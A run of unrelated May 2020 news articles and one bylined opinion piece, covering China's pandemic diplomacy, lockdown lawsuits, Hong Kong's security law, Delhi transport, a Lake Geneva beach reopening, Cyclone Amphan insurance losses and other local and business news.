Nations that need supplies and loans may welcome Chinese aid, but few - especially nearby states that have no illusions about Chinese power - will forget that China covered up initial details about the virus, hindering international containment. Even now, it is hard to fully trust Beijing's reporting about its domestic outbreak, undercutting its claims of having a successful model to fight the coronavirus. China regularly cooks its economic figures and recently revised upward its estimate of the number of people who have died of covid-19 in Wuhan, the first epicenter, by 50%. "Let's not be so naive as to say [China has] been much better at handling this," French President Emmanuel Macron told the Financial Times. "We don't know," he said. British Foreign Minister Dominic Raab told reporters, "We can't have business as usual after this crisis, and we'll have to ask the hard questions about how it came about and how it could've been stopped earlier."

China's stilted diplomacy also undermines its global authority. Its efforts often come across as halting: The New York Times found that Xi's calls with foreign leaders stick to rote, almost identical talking points, which makes reports about them appear propagandistic. Lijian Zhao, a foreign affairs spokesman for the Chinese government, slams foreign countries and promotes wild rumors on Twitter.

Meanwhile, Beijing is aggressively promoting its pitch on social media platforms and in global state media outlets. It has spent billions to upgrade the reach and quality of outlets like its flagship China Global Television Network and Xinhua, and newswire Xinhua in particular has gained an audience in many countries. Yet Beijing's efforts here have proved clumsy and ineffective, featuring wild and unbelievable claims, such as that the U.S. military brought the coronavirus to Wuhan, as well as disinformation tactics that have been exposed relatively easily: A recent study by ProPublica found some 10,000 fake Twitter accounts linked to the Chinese government, all involved in influence campaigns. Many were poor-quality fakes and easy to spot, not as sophisticated as Russian disinformation efforts. One now-suspended account, ProPublica noted, "was new, created in January 2020, and it offered no personal or biographical details. It followed no one else on Twitter and had a single follower for its obsessive posts about the coronavirus outbreak and the Hong Kong protests."

And the reach of pro-government media is much less extensive than Beijing wants. From Africa to South Asia to Southeast Asia, Chinese outlets often do not crack 1% of viewers or listeners, according to studies conducted for the U.S. Agency for Global Media, which I obtained during research for a forthcoming book on China's global information efforts. The Trump administration regards such outlets as a threat and has imposed multiple new restrictions on their operations inside the United States.

China's PR offensive has other serious problems as well. Its outreach extends to both democracies and authoritarian states, both allies and countries with which it has frosty relations. But the few countries (such as Serbia and Pakistan) that have lavished praise on China and touted it as a potential global leader already had close links to Beijing. They are often authoritarian countries. Other, more powerful nations that Beijing must win over to bolster its influence, such as France and Italy - the first big European state to join the Belt and Road Initiative, and a major target of Chinese diplomacy - have not necessarily been swayed by China's public relations campaign. The leader of Italy's League party, Matteo Salvini, told the Italian Parliament that Beijing's initial coronavirus coverup could qualify as a crime against humanity.

China's near neighbors are not happy, either. The fact that Beijing has not paused its assertive approach despite the pandemic - it continues to aggressively maneuver in the South China Sea, and it just put in place new laws giving Beijing more control Hong Kong's pseudo-independent status - has angered people across the region. Meanwhile, although Beijing has at times seemed to suggest that democracies are less prepared to address the pandemic, this claim has been undermined by the effective responses of vibrant democracies like Australia, New Zealand, Taiwan and South Korea, among others.

Several countries also recognize that the aid they desperately need comes as transactional diplomacy. China had already loaned many nations massive sums for infrastructure projects like ports in Sri Lanka and power plants in Pakistan. Now some borrowers, which put up those important physical assets as collateral, cannot pay back their loans; but if Beijing seizes that collateral, it will engender massive hostility in recipient states. What's more, some Chinese coronavirus supplies sent abroad, like testing kits and personal protective equipment, have turned out to be faulty, angering local populations. Slovak Prime Minister Igor Matovic, whose country bought $16 million worth of defective Chinese antibody tests, told reporters, "We have a ton and no use for them." Last month the head of Finland's emergency supplies agency resigned after the country bought millions of dollars of Chinese masks that proved unusable.

It's also unclear whether Beijing's methods of controlling the virus will work in the long term, as the country attempts to reopen. Its curtailment of personal freedoms was severe, even by the standards of a highly authoritarian country. The Xi administration faced significant domestic dissent for its mishandling of the crisis at first. And China's strategy also seriously damaged its economic growth, which for decades has been the primary pillar of the Communist Party's legitimacy at home and abroad. Its economy shrank in the first three months of 2020, its first quarterly contraction in 40 years; it could further suffer if companies continue decoupling supply chains from China and moving manufacturing to countries like Vietnam. Xi is marshaling the country's massive propaganda apparatus to support his rule, especially in advance of the National People's Congress that opened this week. Since the party's authority depends in significant part on delivering strong, sustained growth, any long-term contraction could hurt its domestic power - and its global appeal.

When countries push back against China's story of its coronavirus success, complain about faulty supplies or simply warn that Beijing appears to be using the crisis to boost its global power, Chinese diplomats, leaders and media lash out - in large part because they are so unused to dealing with dissent and open discussion at home. Angered by French criticism, for instance, the Chinese Embassy in Paris put a note on its website slamming Western leaders. And in recent weeks, Beijing has blasted Australia for seeking an international inquiry into the virus's origins. China warned that the idea could lead to an economic boycott of Australia.Beijing recently imposed tariffs on Australian barley, although it claims this is not linked to squabbling over the virus. (China has now agreed to a WHO-led investigation into the origins of the pandemic after it is over.)

Instead of gaining global leadership amid the pandemic, China is likely to wind up being blamed by many states. At best, China probably will make no international headway as a result of the crisis - no matter how severe the outbreak becomes in leading democracies.

- - -

Kurlantzick is a senior fellow for Southeast Asia at the Council on Foreign Relations.
All 50 states have begun to return to normal life. Measures to curtail the spread of COVID-19 are gradually lifting as various milestones are met, and though ordinary economic and social activity is still weeks or months away, we're moving  however haltingly and with much bickering, hyperbole, and mutual recrimination  in that very welcome direction.

We're also going to court, with suits against lockdowns appearing on the docket in multiple states. This is good news, even if, like me, you've generally supported a robust public health response to this pandemic. We need this accountability, and we need it now, as fears rise about state overreach and the risk of permanent changes to our governance and society.

In the early days of COVID-19, legal experts predicted court challenges to stay-at-home orders and distancing mandates would generally fail. "The idea that you're going to walk into court and object vehemently and successfully against known, proven public health social distancing measures that are being employed currently is not a winner," Arizona State University law professor James Hodge told Bloomberg Law in March.

That view wasn't unwarranted, as police power, the authority under which states and municipalities have issued pandemic decrees, has historically permitted quarantines, travel restrictions, and the like to control epidemics. In New York City's 1916 polio epidemic, for example, families with infections were quarantined and publicly identified; movie theaters and other public gathering spaces were closed; and neighboring locales forbid travel from affected areas. Philadelphia took similar steps when afflicted with yellow fever in 1793 (tragically, quarantine was useless for a disease doctors did not yet realize was spread by mosquitoes). Cato Institute legal scholar Walter Olson reports he has been unable to find a single successful court challenge to "prohibition on public assemblies and closure of businesses" commonly used to fight the 1918 flu epidemic. And, in an extreme case, "Typhoid Mary" Mallon was essentially imprisoned for the final three decades of her life after she repeatedly refused to take steps to stop spreading her deadly infection.

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But police power has never been unlimited in America. So, as Texas Supreme Court Justice James Blacklock wrote at the beginning of this month with the concurrence of several colleagues, the longer this pandemic lasts and the more we know about the virus, the less legal durability sweeping public health measures will have. "As more becomes known about the threat and about the less restrictive, more targeted ways to respond to it, continued burdens on constitutional liberties may not survive judicial scrutiny," Blacklock said.

Some of those burdens have already succumbed. A state judge on Wednesday issued an injunction against Ohio's stay-at-home directive as it applies to gyms and health clubs, a group of which have brought suit. The ruling raised multiple objections to the order, which was found to exceed the "quarantine and isolation" authority of the Ohio Department of Health because it went well beyond the definitions of quarantine and isolation in Ohio law. The Health Department's director "has acted in an impermissibly arbitrary, unreasonable, and oppressive manner and without any procedural safeguards," the decision held.

Before the Ohio case, the Wisconsin Supreme Court struck down the state's lockdown order on procedural grounds. Because the restrictions imposed by acting Secretary of Health Services Andrea Palm include criminal penalties, the court said, they are a "rule," not an "order." That means they require implementation procedures (including "a preliminary public hearing and comment period") which Palm neglected to perform. The Oregon Supreme Court is considering an appeal from the governor after a lower court invalidated her pandemic orders, arguing citizens "can continue to utilize social distancing and safety protocols at larger gatherings involving spiritual worship, just as grocery stores and businesses deemed essential by the governor have been authorized to do."

Similar cases are underway in Illinois, Kentucky, Michigan, and elsewhere. California alone has more than a dozen cases active, four of them concerning churches and other religious gatherings. What makes California's prohibition on religious assemblies illegal, litigants contend, is it curtails constitutional rights and, crucially, isn't content-neutral. As the Justice Department's Civil Rights Division noted Tuesday in a letter to California Gov. Gavin Newsom (D), "government may not impose special restrictions on religious activity that do not also apply to nonreligious activity." But the second phase of Newsom's re-opening plan prohibits in-person church gatherings, even with social distancing, while permitting in-person gatherings at restaurants, movie studios, and other nonreligious businesses. The DOJ letter doesn't threaten legal action, but it may preview rulings to come in California's church-related cases.

The court challenges that stand a chance aren't those questioning state authority to take any pandemic action at all. Again, use of police power in public health crises is not novel, legally controversial, or inherently unconstitutional. (The Ohio ruling doesn't exempt the re-opening gyms from following hygiene and distancing regulations, and, along with the Wisconsin decision, it acknowledges statutory authority for public health emergency measures.) Rather, these cases tend to concern allegations of inconsistent or discriminatory applications of that power (as in Oregon and California), disregard for clear legal definitions and limits (as in Ohio), executive branch overreach (as in Michigan, Wisconsin, and Illinois), or undue prioritization of public health orders above constitutional rights (as in Kentucky).

These are needed correctives, a way to protect the health of our constitutional system while we protect the health of our people.

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New Delhi, May 22 : With more and more buses out on rodas, the ridership of the DTC and cluster buses in the national capital has reached more than 3.5 lakh on Thursday, the Transport Department said on Friday.

While there were only 2,259 buses -- DTC as well as cluster -- on Delhi roads on Tuesday, the number of buses on Wednesday were 3,535 and further on Thursday, there were 3,983 buses out on roads.

"Ridership has also been increasing from 1,57,731 on Tuesday to 3,28,484 on Wednesday and to 3,52,661 on Thursday," the Transport Department said.

Out of 6,348 buses with DTC and DIMTS, the Transport Department has also been providing buses to various departments -- Revenue, Police and Health for Covid-19 related duties.

"The Revenue Department has hired buses from DTC for transporting migrants from different locations in Delhi to railway stations from where they are being sent to their home towns through Shramik Specials. The Revenue Department hired 1,027 DTC buses on Tuesday, 1,276 buses on Wednesday and 1,452 buses on Thursday," it added.

The police and Health Department too hired more than 700 buses.

"Social distancing is being ensured at all bus stands and depots by deploying marshals. Buses are being disinfected before out-shedding from the depots in the morning as well as in the afternoon. At the end of each trip, each bus is being disinfected," the Transport Department said.

Public transport in the city was started from Tuesday and along with buses, autos and taxis too were allowed.

Auto-rickshaws, e-rickshaws, and cycle-rickshaws are allowed in Delhi with only one passenger. Taxis and cabs are allowed with only two passengers. Gramin and eco-friendly sevas were allowed with only two passengers. Maxi cabs were allowed with only five passengers and RTVs with only 11 passengers.

The drivers are directed to ensure the disinfection of the passenger seats after each drop-off for the safety of the next passengers.

"A facility is being planned at all petrol pumps and CNG stations in Delhi to provide disinfection services to passengers as well as private vehicles at a minimal cost and it is likely to be operational in a week," the Transport Department added.
CLEVELAND, Ohio -- As Memorial Day weekend nears, many residents are headed to Lake Erie or gearing up for biking, running or enjoying a nice walk in the Cleveland Metroparks.

But don't expect a torrential downpour like last weekend's storms that resulted in flooding in pockets of northeast Ohio. Expect more sunshine and a chance for some thundershowers.

"We are looking at warmer temperatures," Martin Thompson, a hydrometeorological technician with the National Weather Service in Cleveland said. "There will be some risks of thunderstorms at some times, but we will definitely see the warmer temperatures through the weekend."

Rivers across Northeast Ohio and Lake Erie are running high, but Thompson said Fridays showers shouldnt result in major flooding of rivers.

Thompson said any additional rain could aggravate areas where waters are high. Some fields or vacant lots in northeast Ohio will probably expect standing water.

"We have no flood watches or warnings at this time," he said. "That's something we will look at on a day-to-day basis."

Thompson expects the weather system causing the showers today will move east, which will put Northeast Ohio into a "more summer type pattern," he said.

"The warmer temperatures are something to look forward to that's for sure," Thompson said. "Just have to work around the showers and thunderstorms while you do your outdoor activities."

Clevelands Saturday forecast:

The day will be mostly cloudy with a high of near 72 degrees. The day's low will be 61 degrees.

Clevelands Sunday forecast:

There is a chance of thunderstorms afternoon. The day will be partly sunny with a high near 85. There is a chance of thunderstorms just before midnight. The low will be around 65 degrees.

Cleveland on Memorial Day

The holiday will be partly sunny and a high near 86 degrees. There is a chance of thunderstorms afternoon. The low will be around 67 degrees.

Akrons Saturday forecast

The day will be mostly cloudy, with a high near 76 degrees. The low will be around 60 degrees.

Akrons Sunday forecast

The day will be mostly sunny and will have a high of 85 degrees with a chance of thunderstorms afternoon. The low will be around 66 degrees.

Akron on Memorial Day

The day will be mostly sunny, with a high of near 87 degrees. There is a chance of thunderstorms afternoon. The low will be 67 degrees.

Read more stories on cleveland.com:

Stormy and warmer: Northeast Ohios weekend weather forecast

ICU beds in Cuyahoga County occupied at highest rate since coronavirus outbreak began

Cuyahoga Countys most coronavirus cases still in eastern suburbs, portions of Cleveland, Parma area

University of Akron announces plan to reopen campus in August

Kent State plans to resume in-person classes, dorm living in August
New Delhi: Shah Rukh Khan and Gauri Khan's darling daughter Suhana celebrates her birthday on May 22. Amid lockdown, as she can't go out for a bash, her close friend Ananya Panday made sure to wish her early and make her 20th birthday memorable one.

Ananya took to Instagram and posted an unseen gorgeous picture of the two with a beautiful birthday wish reading: the two things I miss the most - the great outdoors and SUHANA!!! happy 20th bday Sue but u will be my little baby forever

Suhana, Ananya and Shanaya Kapoor are BFFs and often their old pictures resurface on the internet, sending netizens into a tizzy.

While Ananya has already entered the showbiz world and Shanaya working as an assistant director in cousin Janhvi Kapoor's upcoming film, all eyes are set on Suhana's big Bollywood debut.

SRK and Gauri Khan's darling daughter headed to New York University last year where she is studying acting. She completed her graduation from Ardingly College in England.

Speculation of her making her starry entry into movie business has always been around and now that she is studying acting as a course, looks like very soon the pretty girl will be making her big-screen debut.

She has acted in several plays and also in a short movie.

Here's wishing Suhana Khan a very happy birthday!
China's National People's Congress on revealed plans to send its feared state security agents into Hong Kong to pursue people suspected of "sedition," "subversion," or to be doing the work of 'foreign forces' during the city's months-long protest movement.



In a move that likely signals the end of Hong Kong's promised autonomy and traditional freedoms of speech and association, the ruling Chinese Communist Party tabled a draft "decision" to China's National People's Congress (NPC) on the first day of its annual session.



Citing "notable national security risks" in Hong Kong, NPC vice chairman Wang Chen said "forceful measures must be taken to prevent, stop and punish such activities," state news agency Xinhua reported.



Under the terms of the handover, Hong Kong was expected to bring in legislation banning acts of "treason, secession, sedition [or] subversion," Wang told a news conference in Beijing on . The laws were also intended "to prohibit foreign political organizations from conducting political activities in Hong Kong, and to prohibit political organizations from establishing ties with foreign political organizations."



"More than 20 years after Hong Kong's return, however, these laws are yet to materialize due to sabotage and obstruction by those trying to sow trouble in Hong Kong and China at large, as well as external hostile forces," Wang said.



The decision will enable the authorities to "prevent, stop and punish" any activities deemed by Beijing to be subversive, or instigated by "foreign forces."



When needed, state security police from mainland China will set up shop in Hong Kong to fulfil their duties under the new law, according to a precis of the decision supplied by Xinhua.



Once the decision is approved by the NPC, the NPC standing committee will formulate the necessary legislation and insert it into Annex 3 of Hong Kong's mini-constitution, the Basic Law, whereupon it will become law in Hong Kong, without the need for scrutiny by the city's Legislative Council (LegCo), the report said.



The NPC standing committee would continue to "actively push" the Hong Kong authorities to build "special institutions, enforcement mechanisms and law enforcement forces," to implement the laws in the city, Xinhua quoted Wang as saying.



End of autonomy

Commentators in the city said the announcement had marked the end of Hong Kong's promised autonomy under the "one country, two systems" formula.



Civil Human Rights Front convenor Jimmy Sham, who organized several peaceful protests last year, including three attended by more than a million people, said it was still unclear what is meant by "subversion of state power," or "interference by foreign forces."



But he called on the city's seven million people to come out on the streets to oppose the new law.



"[In 2003], half a million of us stood against [this] legislation, and up to two million of us stood up against the extradition laws [last year]," Sham said. "I want to tell everyone in Hong Kong ... that they should stand up now, not just for Hong Kong's human rights, democracy and the rule of law, but also for your livelihoods."



"I hope that [next time] there will be more than two million of us," he said.



Chung Kim-wah, assistant professor of social policy at Hong Kong's Polytechnic University, said the NPC decision paves the way for people to be targeted for their speech and writing under subversion and sedition laws, much as they already are in mainland China.



"If you use terms like subversion or state security, you can make them mean whatever you want," Chung said. "That could mean that just calling for one person, one vote could result in accusations that you are subverting the regime."



"This is a danger to Hong Kong people across the board, and to our way of doing things," he said.



Former 2014 pro-democracy protest leader Joshua Wong, who now heads the political party Demosisto, said the NPC's move is a form of revenge against those who joined the protest movement last year.



"This is payback time for the success of the people of Hong Kong in persuading the U.S. to pass the Hong Kong Human Rights and Democracy Act last year," Wong said.



"[Under the proposals], we could be charged for trying to promote human rights, democracy and the rule of law for Hong Kong internationally," he said, but said international lobbying would continue.



Pro-democracy Demosisto Party members distribute flyers in Hong Kong against China's controversial national security law for the former British colony that was submitted to China's rubber-stamp in Beijing, May 22, 2020. AFP Rubber stamp NPC

Hong Kong chief executive Carrie Lam dismissed the fears, saying her administration would work with the NPC to bring in the new legislation as soon as possible.



The NPC, which has never rejected a draft law or proposal put before it, will "vote" on the decision .



Pro-democracy lawmakers said Beijing is demolishing Hong Kong's autonomy.



"Its a complete disruption of the Hong Kong system of course when they impose a national security organization in Hong Kong, set up by the Chinese Communist Party in Hong Kong, Lee Cheuk-yan, former lawmaker and secretary of the Alliance in Support of Patriotic Democratic Movements in China, told journalists.



He said it is a signal that Beijing is directly taking control of the city.



Democratic Party lawmaker Helena Wong said that allowing state security police to operate in Hong Kong meant that not even the Hong Kong government would be able to regulate them.



The Justice & Peace Commission of the Catholic Diocese said it is concerned the national security laws will be used to suppress religious activities, government broadcaster RTHK reported.



The American Chamber of Commerce in Hong kong said the fact that LegCo was being bypassed could jeopardize international business in the city.



"Hong Kong stands as a model of free trade, strong governance, free flow of information and efficiency," AmCham chairman Robert Grieves said in a statement. "No one wins if the foundation for Hong Kongs role as a prime international business and financial center is eroded."



AmCham president Tara Joseph added: "People may also ask whether Beijings concern over foreign interference adds an element of risk to foreigners living here."



The Hang Seng Index plummeted around 1,349 points on the announcement, on the back of major falls in real estate companies.



Reported by Qiao Long, Tseng Yat-yiu and Man Hoi-tsan for RFA's Mandarin and Cantonese Services. Translated and edited by Luisetta Mudie.
* Euro zone periphery govt bond yields http://tmsnrt.rs/2ii2Bqr

By Yoruk Bahceli

LONDON, May 22 (Reuters) - Italian 10-year government bond yields were set for their biggest fall in eight weeks, boosted by a European Union recovery fund proposal that could provide grants to help the highly-indebted country's coronavirus-hit economy.

Bond investors had hoped for some form of EU joint effort to tackle the costs of fighting the coronavirus pandemic, as the financing for the proposed fund would not count towards Italy's already hefty debt burden.

The proposal helped to push Italy's 10-year bond yield down 22 basis points this week, its largest weekly fall in eight weeks.

"The proposal as it stands is unambiguously positive for the BTP market. It's good for peripherals, in some ways it good for banks, but let's see what the details are," said Mark McDonnell, a macro analyst at Invesco.

"The market must be optimistic, but I think there is a little bit of concern priced in there as well. We've been here before and it's not going to be easy to get everyone on board."

The spotlight is on a group of European Union states opposed to big spending by the bloc, which will present a counter-proposal to the Franco-German plan and whether there may be adjustments to the proposal, for example, such as providing some funds as loans rather than grants.

Investors will also watch out for the European Commission's own proposal for a recovery fund, due next Wednesday.

On Friday, euro zone bond yields were little changed in early trade. Germany's 10-year benchmark was down 1 basis point to -0.51%. Italian 10-year bond yields were unchanged at 1.63%.

Bonds were not much moved by China's decision to skip setting a 2020 gross domestic product growth target - the first time it has not set a target since it began publishing the metric in 1990. They also did not react much to the flare-up in U.S.-China tensions over Chinese security measures in Hong Kong, which hit world stocks.

Story continues

Analysts will be watching the release of the European Central Bank's meeting minutes from April expected later on Friday.

However, that meeting preceded the German constitutional court ruling that gave the country's central bank three months to prove that the ECB's conventional bond buying scheme was necessary and proportional.

(Reporting by Yoruk Bahceli. Editing by Jane Merriman)
The longtime manager at Lake Genevas popular Riviera Beach has resigned in protest because the city is reopening the beach to the public during the coronavirus pandemic.

A sharply divided Lake Geneva City Council voted May 19 to open the beach to the public, despite concerns that big crowds could risk spreading the deadly virus.

The 4-3 vote at a special city council meeting means hundreds of people could jam the beach starting May 23 for the Memorial Day holiday weekend, with no mandate that they take precautions to avoid spreading germs.

Aldermen urged city staff to take steps to protect workers and also to encourage beach goers to voluntarily observe public health guidelines, such as staying six feet away from one another.

Beach supervisor George Steffen resigned in protest after 40 years on the job, saying that the city was jeopardizing public safety by opening the beach during a global pandemic.

I see no other option than to resign, Steffen wrote in a letter that was read aloud at the council meeting before aldermen cast their votes.

Linda Frame, the citys harbormaster, told aldermen that assistant beach supervisor Joe Clifford also had resigned. Frame later clarified that Clifford was only declining to report for duty until July, out of concern about the coronavirus.

Frame said she, too, is worried about the crowded beach creating an environment where people will be in jeopardy of contracting the virus  herself included.

This will put me at risk, she said. But this is my job, whatever you decide to do.

The city-owned beach in downtown Lake Geneva  a major tourism attraction throughout the summer  can accommodate between 300 and 800 people, depending on how the capacity is measured.

Enticing to visitors even during the off-season, the beach has been closed behind barricades for several weeks to prevent crowds from gathering during the public health crisis.

Voting in favor of opening the beach were city council members Cindy Flower, Joan Yunker, Tim Dunn and Richard Hedlund. Voting in opposition were John Halverson, Mary Jo Fesenmaier and Ken Howell.

Flower was among the most vocal advocates for opening the beach, saying that she believes beach goers and workers can observe the same public health guidelines that have been recommended for businesses and other public places.

At Flowers urging, the measure declaring Riviera Beach open effective May 23 calls for such precautions as maintaining safe distances and limiting cash transactions.

Theres lots of things that can be done, she said.

Flower said she saw no benefit to keeping the beach closed, adding: If its going to be warm weather, we might as well open now.

Other aldermen, however, said too much uncertainty remains about whether the coronavirus outbreak is worsening and whether social distancing and other precautions are sufficient.

Its too early, Halverson said.

The upper respiratory virus, also known as COVID-19, has killed more than 90,000 people in the United States, including nearly 500 in Wisconsin.

Howell referred to the revenue that comes into city coffers from beach admission fees of $8 for adults and $4 for children. Howell said he would rather forgo the revenue than put public health at risk.

I dont believe we need the money that badly, he said.

Mayor Charlene Klein, who votes only in the case of a tie, did not voice an opinion one way or another, at one point simply noting that the beach opening was a difficult decision for city officials.

The beach was scheduled to reopen to the public May 23 for the Saturday, Sunday and Monday of the Memorial Day weekend, then reopen the following weekend and continue daily throughout the summer.

Aldermen briefly debated opening the beach by removing the barricades only and allowing people to come and go for free. But that was set aside in favor of a full opening with admission fees, city staff and public restrooms.

Beach goers will find no showers or lockers available, admission payments will be exact change only, and the east beach entrance will be for disabled patrons and child strollers only.

The council also approved its annual contract with the Water Safety Patrol to provide lifeguard services at the beach.

Fesenmaier proposed putting a limit on the number of people who could attend the beach at one time  she suggested 250 people  but the suggestion drew no support.

A few days later, city officials announced that they were declaring a 300-person capacity limit at the beach.

Dunn voiced concern that keeping the beach closed would cause beach employees to leave their jobs.

If they dont get paid, they may go off and find other jobs, he said.

Asked by aldermen about Steffens resignation, Frame said the beach manager had been with the city since 1980, and was emotional as he submitted his resignation.

She called the beach Steffens second home.

Clifford, who has been assistant beach supervisor for the same 40 years, told Frame he would not work until July, because he is caretaker to his wife, and he does not want to risk being at the beach during the coronavirus pandemic.

He cannot afford to catch anything, Frame said.

Neither Steffen nor Clifford was in attendance during the city council meeting.

In his resignation letter dated May 17, Steffen regretted quitting without warning, but he wrote that he never expected city leaders to open the beach during such a public health crisis.

I dont feel it is morally right to put the beach workers, the lifeguards, the beach managers and the beach patrons at risk, he wrote.

Frame warned aldermen that crowds of visitors shopping and recreating in Lake Geneva are showing little regard for social distancing or other guidelines aimed at combating the spread of the virus. She said opening the beach could bring even bigger crowds and create greater risks.

She described visitors from Illinois and said many of them are aggressive about refusing to observe public safety recommendations.

We love our Illinois tourists, but this is getting out of hand, she said. They are in denial of whats going on. And they get in your face. They are not going to do what we ask them to.

Editors note: This report has been updated to correctly attribute a quote to Alderman Ken Howell about beach revenue, and also to update Joe Cliffords work status.(tncms-asset)499b8216-bfa5-11e9-b63f-00163ec2aa77[3](/tncms-asset)

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Union Health Minister Harsh Vardhan, who is at the forefront of India's battle against COVID-19 pandemic, took charge as the chairman of the 34-member WHO Executive Board on Friday, officials said.

Vardhan, who succeeded Dr Hiroki Nakatani from Japan, offered his condolences at the loss of lives due to the cooronavirus pandemic across the globe.

In his remarks after being elected as the chairman of the WHO executive board, he also said a strengthening of global partnerships and a shared response was needed to deal with the current crisis caused by the pandemic.

The proposal to appoint India's nominee to the executive board was signed by the 194-nation World Health Assembly on Tuesday.

Last year, WHO's South-East Asia group had unanimously decided to elect India's nominee to the executive board for a three-year-term beginning May.

The chairman's post is held by rotation for one year among regional groups and it was decided last year that India's nominee would be the Executive Board chairman for the first year starting Friday.

It is not a full-time assignment and the minister will just be required to chair the Executive Board's meetings, an official said.

The Executive Board comprises 34 individuals, technically qualified in the field of health, each one designated by a member-state elected to do so by the World Health Assembly. Member States are elected for three-year terms.

The board meets at least twice a year and the main meeting is normally in January, with a second shorter meeting in May, immediately after the Health Assembly.

The main functions of the executive board are to give effect to the decisions and policies of the Health Assembly, to advise it and generally to facilitate its work.

Addressing the 73rd World Health Assembly via video conferencing on Monday, Vardhan had said India took all necessary steps well in time to combat the COVID-19 pandemic.

He had asserted that the country has done well in dealing with the disease and is confident of doing better in the months to come.

Towards the end of his speech, Vardhan also initiated a standing ovation by the board for all the 'Covid warriors' across the globe.

India takes over the chairmanship of the Executive Board amid growing calls, including by US President Donald Trump, to investigate how the coronavirus originated in China's Wuhan city and subsequent action by Beijing.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
TRUMBULL  The same judge who dismissed a pair of legal challenges to a zone change at 48 Monroe Turnpike last month has now tersely rejected an appeal of his decision.

The foregoing, having been considered by the Court, is hereby: DENIED, Judge Dale Radcliffe wrote in a May 19 decision.

The zone change, approved in January 2019, cleared the way for a mixed 55-and-older development on the site formerly occupied by United Healthcare.

Radcliffes denial came one day after attorney and former Trumbull First Selectman Timothy Herbst, who is representing three residents of the Woodland Hills Condominiums across Route 111 from the planned development, had filed a motion to reargue the case. Herbst, in his motion, claimed that Radclife had wrongfully dismissed the challenges in a April 29 ruling.

In its analysis of Plaintiffs claim that the decision of Defendant Town of Trumbull Planning & Zoning Commission should be overturned due to improper statements made by Commissioner Anthony Chory to Rina Bakalar, the Trial Court did not address Plaintiffs argument that Chorys statements constituted a statutory violation, Herbst wrote. The Court also did not address applicable case law cited by Plaintiffs with respect to the interpretation of the statute.

Radcliffe had previously rejected the claim that Chory had prejudged the application after engaging in ex-parte communication with Bakalar, the towns economic and community development director. An ex-parte communication is any communication between a judge or juror and an interested party in a legal case without proper notice and not on the public record.

Bakalar had met with Chory to discuss general economic development issues in town, according to the decision. The meeting occurred while the 48 Monroe Tpke. applications were pending. Chory had commented about noise levels at the site, before saying that he had no issue with the application. According to Bakalar, she had replied, I agree.

Radcliffe wrote that Bakalar had not provided Chory with any information, and that the words I agree from a town employee to a commission member could not be shown to have caused bias or predisposition.

Chory, at a hearing a year after the exchange, said he did not recall the conversation but said it was possible it had taken place.

There is no evidence that Bakalar provided any information to Commissioner Chory, Radcliffe wrote. Since he does not remember the conversation, no information of an ex-parte nature could have been communicated to other members of the Commission.

Radcliffe continued, In order to show predisposition, a party must demonstrate actual bias, not merely potential bias. Since the alleged statement was made while the public hearing process was in progress, and not before any evidence was presented, there can be no showing of predisposition of prejudgment.

In response to the motion to reargue, Attorney John Knuff, representing the 48 Monroe Tpke. LLC development company, said the motion to reargue was baseless.

Knuff argued that Radcliffe had addressed the conversation between Chory and Bakalar in his April 29 decision when he ruled that because Chory did not recall the conversation, he could not have imparted improper information to the other commissioners.

Thus, in the absence of any evidence of an improper ex-parte communication, the ... analysis urged by the Plaintiffs simply does not apply, he wrote.
The general insurance companies, which collect an estimated gross premium of Rs 10,000 crore in West Bengal every year, are staring at heavy losses in property, motor and crop insurance policies.

The claims amount could go well beyond the total premium collected as the cyclone Amphan has created a havoc in the state with huge losses to properties, business instalation and agriculture etc. "The claims are currently getting reported from different districts. The estimate of losses would be known only after two-three days," says a private sector insurer.

The West Bengal market is not very big for general insurance industry. The insurance officials say the premium from eastern market is very low compared to Southern or the West market. "The industrialisation is also not much in the eastern region," they say.

As per estimates, West Bengal contributes around 5 per cent to the total gross premium of the industry. The premium share comes out to be roughly Rs 10,000 crore. The losses in insurance business are generally in multiple times of the premium collected. However, experts suggest the entire premium gets distributed in wide variety of products from property, marine, engineering, motor, health, crop and personal accident etc.

The biggest hit to insurance companies would come from property or the industrial all-risk policies. The property policy comes with heavy discounting. The premium rates are very low. In addition, the companies generally don't go for higher reinsurance or protection from the losses. When the premium is retained within the company, the chances of losses are higher in case of abnormal claims that happen in a natural calamity.

The next biggest hit would come from motor and crop. While companies retain bulk of the premium in motor, the crop insurance typically sees substantial reinsurance because of the unpredictable nature.

"Calamities are becoming a regular phenomenon in India. Every alternate year or once in two-three years , the natural calamities are hitting us," says a private sector insurer.

The National Insurance Company has the biggest presence in Kolkata. The private sector players such as Bajaj Allianz, ICICI Lombard, HDFC Ergo and SBI General Insurance are also present in the eastern market.

Also Read: Cyclone Amphan: PM Modi expresses solidarity with West Bengal, Odisha

Also Read: Mamata Banerjee calls Cyclone Amphan bigger disaster than coronavirus; cites damages worth Rs 1 lakh crore
BAKU, Azerbaijan, May 22

By Eldar Janashvili - Trend:

Executive Director of the Center for Analysis of Economic Reforms and Communication of Azerbaijan (CAERC) Vusal Gasimli will represent Azerbaijan at Sixth Meeting of the Interim Intergovernmental Steering Group on Cross-Border Paperless Trade Facilitation, which will be held in Bangkok on September 28-29, Trend reports citing CAERC.

The event organized by the United Nations Economic and Social Commission for Asia and the Pacific (UNESCAP), will bring together all the UNESCAP member countries. Gasimli will deliver the opening speech and inform the participants about the development of Smart Nation in Azerbaijan under the leadership of President Ilham Aliyev.

During the two-day event, a working group will discuss a number of issues related to amending the draft regional government agreement on facilitating cross-border paperless trade and to preparing a draft roadmap for implementing the fundamental provisions of the regional agreement on facilitating cross-border paperless trade.

Azerbaijan is the first country which adopted a frame agreement on trade facilitation between the countries of Asia and the Pacific. By a decree of President Ilham Aliyev, a law was adopted to join the frame agreement on facilitating cross-border paperless trade in the Asia-Pacific region.

---

Follow the author on Twitter: @eldarjanashvili
A skateboarder has sparked outrage after a bystander filmed the moment he tried to leap between the granite walls of a veteran memorial site.

The anonymous skateboarder was caught on camera as he leapt over the walls of the National Veterans Memorial at Mt.Soledad, San Diego, California.

The now-deleted video, which was posted online by Bill Bender, from San Diego, showed the stuntman paying little regard to the faces of 5,000 veterans printed on the blocks at the site, reported CNN.

Instead he was filmed performing tricks across the top of them.

The anonymous skateboarder was caught on camera as he leapt over the walls of the National Veterans Memorial at Mt.Soledad, San Diego, California

Neil O'Connell, president and CEO of Mt. Soledad National Veterans Memorial, revealed the walls can be damaged by the atmosphere and need 'constant care by volunteers'.

Although the monument was not damaged by the skateboarder, Mr O'Connell warns against copy-cats.

